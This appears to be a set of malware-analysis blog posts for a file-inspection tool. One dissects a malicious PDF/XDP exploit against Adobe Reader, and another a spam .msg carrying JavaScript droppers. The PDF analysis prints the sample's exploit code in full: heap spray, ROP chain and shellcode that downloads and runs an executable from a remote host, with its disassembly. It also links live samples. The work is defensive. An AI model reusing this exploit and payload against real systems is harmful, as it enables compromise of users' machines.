        c.text = apiname
        db.setComment(c)
        print("   ", apiname)
    # update the view
    v.update()
    
commentAPIs()

Yet another PDF/XDP Malware

Today we’re going to analyze yet another sample of PDF containing an XDP form. The difference between this sample and the one of my previous post is that this one will be less about JavaScript deobfuscation and more about anti-analysis tricks.

If you want to follow hands-on the analysis, this is the link to the malware sample (password: infected29A). Also make sure to update Profiler to the current 2.6.2 version!

MD5: 4D686BCEE50538C969647CF8BB6601F6
SHA-256: 01F13FE4E597F832E8EDA90451B189CDAFFF80F8F26DEE31F6677D894688B370

Let’s open the Zip archive. The first thing we notice is that the file has been incorrectly identified as CFBF.

That’s because the beginning of the file contains a CFBF signature:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  D0 CF 11 E0 A1 B1 1A E1   00 00 00 00 00 00 00 00     ................

If we were to open the file directly from the file-system, we would be prompted to choose the correct file format:

But as such is not the case, we simply go to the decompressed stream in the Zip archive (or to the CFBF document, it doesn’t matter), position the cursor to the start of the file and press Ctrl+E.

We select the PDF format and then open the newly created embedded file in the hierarchy.

What we’ll notice by looking at the summary is that a stream failed to decompress, because it hit the memory limit. A tool-tip informs us that we can tweak this limit from the settings. So let’s click on “Go to report” in the tool-bar.

This will bring us to the main window. From there we can go to the settings and increase the limit.

In our case, 100 MBs are enough, since the stream which failed to decompress is approximately 90 MBs. Let’s click on “Save settings”, click on “Computer Scan” and then back to our file.

Let’s now repeat the procedure to load the embedded file as PDF and this time we won’t get the warning:

Just for the sake of cleanliness, we can also select the mistakenly identified CFBF embedded file and press “Delete”, in order to remove it from the analysis.

We are informed by the summary that the PDF contains an interactive form and, in fact, we can already see the XDP as child of the PDF.

We could directly proceed with the analysis of the XFA, but let’s just step back a second to analyze a trick this malware uses to break automatic analysis. The XFA is contained in the object 1.0 of the PDF.

Let’s go with the cursor to the stream part of the object (the one in turquoise), then let’s open the context menu and click on “Ranges->Select continuous range” (alternatively Ctrl+Alt+A). This will select the stream data of the object. Let’s now press Ctrl+T to invoke the filters and apply the unpack/zlib filter. If we now click on “Preview”, we’ll notice that an error is reported.

The stream is still decompressed, but it also reports an error. This is one of the trick this malware uses to break automatic analysis: the ZLib stream is corrupted at the very end.

Let’s now open the XFA. Immediately we can see another simple trick to fool identification of the XDP: a newline byte at the start.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  0A 3C 78 64 70 3A 78 64   70 20 78 6D 6C 6E 73 3A     .

Given the huge size of the XDP it's not wise to open it in the text editor, but we can look at the extracted JavaScript from the summary.

Here are the various parts which make up the JavaScript code:

// part 1
            function pack(i){
                var low = (i & 0xffff);
                var high = ((i>>16) & 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
            }
            function packs(s){
                result = "";
                    for (i=0;i spray.size/4; i-=10)
                     spray.x[i]=null;

               spray.done = 1;
            }
            
// part 4

            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll
            var ver = app.viewerVersion.toFixed(3);
            var verArr = ver.split(".");
            var verA = parseInt(verArr[0]);
            var verB = (verArr.length > 1)  ? parseInt(verArr[1]) : 0;

            var x1, x2, x3;

            if(verArr.length > 1)
            {
                verB = parseInt(verArr[1]);
                if(verArr[1].length == 1)  verB *= 100;
            }
            else
                verB = 0;

            var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u77eb\uc931\u8b64\u3071\u768b\u8b0c\u1c76\u5e8b\u8b08\u207e\u368b\u3966\u184f\uf275\u60c3\u6c8b\u2424\u458b\u8b3c\u0554\u0178\u8bea\u184a\u5a8b\u0120\ue3eb\u4934\u348b\u018b\u31ee\u31ff\ufcc0\u84ac\u74c0\uc107\u0dcf\uc701\uf4eb\u7c3b\u2824\ue175\u5a8b\u0124\u66eb\u0c8b\u8b4b\u1c5a\ueb01\u048b\u018b\u89e8\u2444\u611c\ue8c3\uff92\uffff\u815f\u98ef\uffff\uebff\ue805\uffed\uffff\u8e68\u0e4e\u53ec\u94e8\uffff\u31ff\u66c9\u6fb9\u516e\u7568\u6c72\u546d\ud0ff\u3668\u2f1a\u5070\u7ae8\uffff\u31ff\u51c9\u8d51\u8137\ueec6\uffff\u8dff\u0c56\u5752\uff51\u68d0\ufe98\u0e8a\ue853\uff5b\uffff\u5141\uff56\u68d0\ud87e\u73e2\ue853\uff4b\uffff\ud0ff\u6d63\u2e64\u7865\u2065\u632f\u2020\u2e61\u7865\u0065\u7468\u7074\u2f3a\u672f\u2e65\u7474\u322f\u3472\u6653\u6339\u0032\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090";
            var shellcode2 = shellcode[0] + util.pack((verB << 16) | verA) + shellcode.substring(3);
            var add_num = verA >= 11 ? 16 : 14;

            for (i=0; i < spray.size; i+=1)
               if ((spray.x[i]!=null)  && (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro_high_w = acro = (util.unpackAt(spray.x[i], add_num) >> 16);
                  acro = (acro_high_w - util.offset("acrord32")) << 16;
                  break;
               }

            if (found == -1){
               event.target.closeDoc(true);
            }

            if (found == -1)
            {
              x1 = 0x1e1a757f;
              x2 = 0x11e5263c;
              x3 = 0x984caf6;

             acro = x1+x2+x3;
            }

            var chunky = "";
            var heap_addr = 0x10101000;

            if (verA < 11)
            {
                for (i=0; i < 7; i+=1)
               chunky += util.pack(0x41414141);
            }

            chunky += util.pack(heap_addr);
            while (chunky.length < spray.slide_size/2)
               chunky += util.pack(0x58585858);

            for (j=0; j < 10000; j++)
               spray.x[found-1]=spray.x[found]=null;

            for (i=0; i < spray.size; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }

            var obj = heap_addr;
            var pointer_slide = "";

            pointer_slide += util.pack(acro+util.offset("rop1")); //add esp,60;ret

            for (i=0; i < 27; i+=1)
            {
               if ( i == 24 )
               pointer_slide += util.pack(acro+util.offset("rop1x")); //-> rop2
               else
               pointer_slide += util.pack(0x41414141);
            }

            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0"));
            pointer_slide += util.pack(acro+util.offset("rop3x"));
            pointer_slide += util.pack(acro+util.offset("GMHWA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            //@0x10
            pointer_slide += util.pack(acro+util.offset("rop2"));
            pointer_slide += util.pack(obj+0xDC);
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);
            //@0x20
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(acro+util.offset("rop3"));
            pointer_slide += util.pack(acro+util.offset("rop3"));
            //@0x30
            pointer_slide += util.pack(acro+util.offset("VPA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            pointer_slide += util.pack(obj+0x50);
            pointer_slide += util.pack(obj+0x50);
            //0x40
            pointer_slide += util.pack(0x1000);
            pointer_slide += util.pack(0x40);
            pointer_slide += util.pack(obj+0x4C);
            pointer_slide += util.pack(0x00000000);
            //0x50
            pointer_slide += util.packhs("E999000000909090");
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += shellcode;


            while (pointer_slide.length < 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            while (pointer_slide.length < 0x100000/2)
               pointer_slide += pointer_slide;
            for (i=0; i < 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";

if(verA > 9) xfa.host.messageBox("Page not found !", "Adobe Acrobat", 3, 1);


var   pdfDoc = event.target;
pdfDoc.closeDoc(true);

The first part contains the information needed to construct ROP for the various versions of Adobe Reader. In the last part we can see that the JavaScript code sprays the heap. So probably they rely on a huge image embedded in the XDP (which is actually the reason why the XDP is so big) to trigger the exploit.


              
            
               Qk3AAAAAAAAAAAAAAABAAAAALAEAAAEAAAABAAgAAQAAAAAAAAAAAAAAA...

The field name is aptly named "ImageCrash".

Let's go back to the shellcode part and let's analyze that. I'm talking about the part of code which starts with:

var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090...

We could of course copy that part of a text view, remove the \u, then convert to bytes and then apply a filter to reorder them, as in JavaScript the words are in big-endian. But we can do it even more elegantly and make our shellcode appears as an embedded file. So let's select the byte array from the hex editor:

Let's now press Ctrl+E and click on the "Filters" button.

What we want to do is to first remove the "\u" escape. So we add the filter misc/replace and specify "\u" as in and nothing as out (we leave ascii mode as default). Now we have stripped the data from the escape characters. Now we need to convert it from ascii hex to bytes. So we add the convert/from_hex filter. The last step, as already mentioned, is that we need to switch the byte order in the words. To do that, we'll use the lua/custom filter. I only modified slightly the default script:

function run(filter)
    local c = filter:container()
    local size = c:size()
    local offset = 0
    local bsize = 16384
    while size ~= 0 do
        if bsize > size then bsize = size end
        local block = c:read(offset, bsize)
        local boffs = 0
        while boffs < bsize do
            local e = block:readU8(boffs)
            local f = block:readU8(boffs + 1)
            block:writeU8(boffs, f)
            block:writeU8(boffs + 1, e)
            boffs = boffs + 2
        end
        c:write(offset, block)
        offset = offset + bsize
        size = size - bsize
    end
    return Base.FilterErr_None
end

If you want to avoid this part, you can simply import the filters I created:

By opening the embedded shellcode file, Profiler will have automatically detected the shellcode:

By looking at the hex-view we can already guess where the shellcode is going to download its payload to execute from:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000010  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000020  EB 77 31 C9 64 8B 71 30   8B 76 0C 8B 76 1C 8B 5E     .w1.d.q0.v..v..^
00000030  08 8B 7E 20 8B 36 66 39   4F 18 75 F2 C3 60 8B 6C     ..~..6f9O.u..`.l
00000040  24 24 8B 45 3C 8B 54 05   78 01 EA 8B 4A 18 8B 5A     $$.E<.T.x...J..Z
00000050  20 01 EB E3 34 49 8B 34   8B 01 EE 31 FF 31 C0 FC     ....4I.4...1.1..
00000060  AC 84 C0 74 07 C1 CF 0D   01 C7 EB F4 3B 7C 24 28     ...t........;|$(
00000070  75 E1 8B 5A 24 01 EB 66   8B 0C 4B 8B 5A 1C 01 EB     u..Z$..f..K.Z...
00000080  8B 04 8B 01 E8 89 44 24   1C 61 C3 E8 92 FF FF FF     ......D$.a......
00000090  5F 81 EF 98 FF FF FF EB   05 E8 ED FF FF FF 68 8E     _.............h.
000000A0  4E 0E EC 53 E8 94 FF FF   FF 31 C9 66 B9 6F 6E 51     N..S.....1.f.onQ
000000B0  68 75 72 6C 6D 54 FF D0   68 36 1A 2F 70 50 E8 7A     hurlmT..h6./pP.z
000000C0  FF FF FF 31 C9 51 51 8D   37 81 C6 EE FF FF FF 8D     ...1.QQ.7.......
000000D0  56 0C 52 57 51 FF D0 68   98 FE 8A 0E 53 E8 5B FF     V.RWQ..h....S.[.
000000E0  FF FF 41 51 56 FF D0 68   7E D8 E2 73 53 E8 4B FF     ..AQV..h~..sS.K.
000000F0  FF FF FF D0 63 6D 64 2E   65 78 65 20 2F 63 20 20     ....cmd.exe./c..
00000100  61 2E 65 78 65 00 68 74   74 70 3A 2F 2F 67 65 2E     a.exe.http://ge.
00000110  74 74 2F 32 72 34 53 66   39 63 32 00 90 90 90 90     tt/2r4Sf9c2.....
00000120  90 90 90 90 90 90                                     ......          

But let's analyze it anyway. Let's press Ctrl+A and then Ctrl+R. Let's execute the action "Debug->Shellcode to executable" to debug the shellcode with a debugger like OllyDbg.

Here's the (very simple) analysis:

; Platform: x86

0000001C:  nop 
0000001D:  nop 
0000001E:  nop 
0000001F:  nop 
00000020:  jmp 0x99

; Kernel32 from PEB function
00000022:  xor ecx, ecx
00000024:  mov esi, dword ptr fs:[ecx + 0x30]
00000028:  mov esi, dword ptr [esi + 0xc]
0000002B:  mov esi, dword ptr [esi + 0x1c]
0000002E:  mov ebx, dword ptr [esi + 8]
00000031:  mov edi, dword ptr [esi + 0x20]
00000034:  mov esi, dword ptr [esi]
00000036:  cmp word ptr [edi + 0x18], cx
0000003A:  jne 0x2e
0000003C:  ret 

; GetProcAddress function
0000003D:  pushal 
0000003E:  mov ebp, dword ptr [esp + 0x24]
00000042:  mov eax, dword ptr [ebp + 0x3c]
00000045:  mov edx, dword ptr [ebp + eax + 0x78]
00000049:  add edx, ebp
0000004B:  mov ecx, dword ptr [edx + 0x18]
0000004E:  mov ebx, dword ptr [edx + 0x20]
00000051:  add ebx, ebp
00000053:  jecxz 0x89
00000055:  dec ecx
00000056:  mov esi, dword ptr [ebx + ecx*4]
00000059:  add esi, ebp
0000005B:  xor edi, edi
0000005D:  xor eax, eax
0000005F:  cld 
00000060:  lodsb al, byte ptr [esi]
00000061:  test al, al
00000063:  je 0x6c
00000065:  ror edi, 0xd
00000068:  add edi, eax
0000006A:  jmp 0x60
0000006C:  cmp edi, dword ptr [esp + 0x28]
00000070:  jne 0x53
00000072:  mov ebx, dword ptr [edx + 0x24]
00000075:  add ebx, ebp
00000077:  mov cx, word ptr [ebx + ecx*2]
0000007B:  mov ebx, dword ptr [edx + 0x1c]
0000007E:  add ebx, ebp
00000080:  mov eax, dword ptr [ebx + ecx*4]
00000083:  add eax, ebp
00000085:  mov dword ptr [esp + 0x1c], eax
00000089:  popal 
0000008A:  ret 

; find Kernel32 from PEB
0000008B:  call 0x22

; make edi point do the data part
00000090:  pop edi
00000091:  sub edi, 0xffffff98 
00000097:  jmp 0x9e

00000099:  call 0x8b

; resolve LoadLibraryA
0000009E:  push 0xec0e4e8e
000000A3:  push ebx
000000A4:  call 0x3d

; load urlmon
000000A9:  xor ecx, ecx
000000AB:  mov cx, 0x6e6f
000000AF:  push ecx
000000B0:  push 0x6d6c7275
000000B5:  push esp
000000B6:  call eax

; resolve URLDownloadToFileA
000000B8:  push 0x702f1a36
000000BD:  push eax
000000BE:  call 0x3d

; download file from "hxxp://ge.tt/2r4Sf9c2" and save it as "a.exe"
000000C3:  xor ecx, ecx
000000C5:  push ecx
000000C6:  push ecx
000000C7:  lea esi, dword ptr [edi]
000000C9:  add esi, 0xffffffee
000000CF:  lea edx, dword ptr [esi + 0xc]
000000D2:  push edx
000000D3:  push edi
000000D4:  push ecx
000000D5:  call eax

; resolve WinExec
000000D7:  push 0xe8afe98
000000DC:  push ebx
000000DD:  call 0x3d

; call WinExec on "a.exe"
000000E2:  inc ecx
000000E3:  push ecx
000000E4:  push esi
000000E5:  call eax

; resolve ExitProcess
000000E7:  push 0x73e2d87e
000000EC:  push ebx
000000ED:  call 0x3d

; call ExitProcess
000000F2:  call eax

You can also download the Profiler project with the complete analysis already performed (same password: infected29A). Please notice, you'll be prompted twice for the password: once for the project and once for the Zip archive.

I hope you enjoyed the read!

Malware in a MSG

Even though sending malware via zipped attachments in spam emails is nothing new and had been around for eons but many people are still puzzled at how it works. Thus, I will go through with you on how to do it with Profiler. I will try to fill in required information about where to look out for information and how decode some of the information.

Firstly, we are going to learn how are a bit about the .msg file format and how is it used to store a message object in a .msg file, which then can be shared between clients or message stores that use the file system.

From an investigator’s point of view, you should always analyze the .msg file without installing Outlook. In order to analyze the .msg file without Outlook, we can read more about the file format from:

  • http://download.microsoft.com/download/5/D/D/5DD33FDF-91F5-496D-9884-0A0B0EE698BB/[MS-OXMSG].pdf
  • https://msdn.microsoft.com/en-us/library/cc463912(v=exchg.80).aspx
  • http://www.fileformat.info/format/outlookmsg/

The purpose of this post is to give a better technical understanding of how attackers makes use spam emails to spread malware.

[ Sample used in the analysis ]
MD5: BC1DF9947B9CF27B2A826E3B68C897B4
SHA256: C7AC39F8240268099EC49A3A4FF76174A50F1906BBB40AE6F88425AF303A44BB
Sample: Sample

[ Part 1 : Getting Started ]
For those who want to follow along, this is a link to the .msg file. Do note, this is a MALICIOUS file, so please do the analysis in a “safe” environment. The password to the attachment is “infected29A

Now, let’s start getting our hands dirty…and open the suspicious .msg file.

The msg file is already flagged by Profiler, as it contains some suspicious features.
Each “__substg” contains valuable pieces of information. The first four of the eight digits at the end tells you what kind of information it is (Property). The last four digits tells you the type (binary, ascii, Unicode, etc)

  • 0x007d: Message header
  • 0x0C1A: Sender name
  • 0x0C1F: Sender email
  • 0x0E1D: Subject (normalized)
  • 0x1000: Message body

[ Part 2 : Email investigation ]
If we are interested in email investigation, let’s check out the following file, “__substg1.0_0C1F001F”.

As we can see below, the sender’s email address is “QuinnMuriel64997@haarboutique-np.nl
But is it really sent from Netherlands?

Well, let’s check out the message header located in “__substg1.0_007D001F” to verify that.

If we were to do through the message header, do a whois on “haarboutique-np.nl” and check out the MX server. We can confirm that the sender is spoofing email as well.

From the message header, we can conclude that the sender sent the email from “115.78.135.85” as shown in the image and the extracted message header as shown below.

    Received: from [115.78.135.85] ([115.78.135.85])
    by mta02.dkim.jp (8.14.4/8.13.8) with ESMTP id u44L8X41032666
    for <info@dkim.jp>; Thu, 5 May 2016 06:08:35 +0900

Whois information showed that IP address where this spam email is sent from is from Vietnam.
But it doesn’t mean that the attacker is from Vietnam. Anyone in the world can buy web hosting services in Vietnam. This is just to let you know that the attacker is definitely not sending from “haarboutique-np.nl

[ Part 3 : Email investigation ]
Using this information opening the “__substg1.0_0E1D001F” file and we can see the subject, “Re:

Hmmmm…this doesn’t look any useful at all. Let’s try opening the file, “__substg1.0_1000001F”, containing the “subject body” instead.

      “Hi, info

Please find attached document you requested. The attached file is your account balance and transactions history.

Regards,
Muriel Quinn”

Awesome, Muriel Quinn is sending me my account balance and transactions history which I may or may not have requested at all. Awesome, he is also attaching the files to the email just for me. This is definitely suspicious to me.

[ Part 4 : Email attachment ]
Now that we are interested in the attachments, let’s look at “Root Entry/__attach_version1.0_#00000000” and refer to the specifications again.

  • //Attachments (37xx):
  • 0x3701: Attachment data
  • 0x3703: Attach extension
  • 0x3704: Attach filename
  • 0x3707: Attach long filenm
  • 0x370E: Attach mime tag

If we were to look at “__substg1.0_3704001F”, we will see that the filename of the attachment is called “transa~1.zip” and the display name “__substg1.0_3001001F” of the attachment is called “transactions-625.zip”.

Now let’s look at the actual data located within “__substg1.0_37010102” as shown below.

Now, let’s press “Ctrl+A” to select the entire contents. Then copy it into a new file as shown in the image below.

But as we can see on the left, Profiler can identify what is inside the attachment. There are 3 Javascript files inside the .zip file.

Now let’s fire up “New Text View” and copy the contents of “transactions 774219.js” as shown below.

Press “Ctrl+R” and select “Beautify JavaScript” and Profiler will “JSBeautify” it for you. But let’s add some “Colouring” to it by doing “Right-click -> Language -> JavaScript” as shown below.

We can use Profiler to debug the JavaScript but I shall leave that as an exercise for the readers.
The decoded JavaScript will look something like this.

As we can see from the image above, it is downloading from “http://infograffo[.]com[.]br/lkdd9ikfds” and saving it as “ew3FbUdAB.exe” in the victims’ TEMP directory.

We won’t be going through on reversing the malware.

In the meantime, we hope you enjoyed reading this and would be happy to receive your feedback!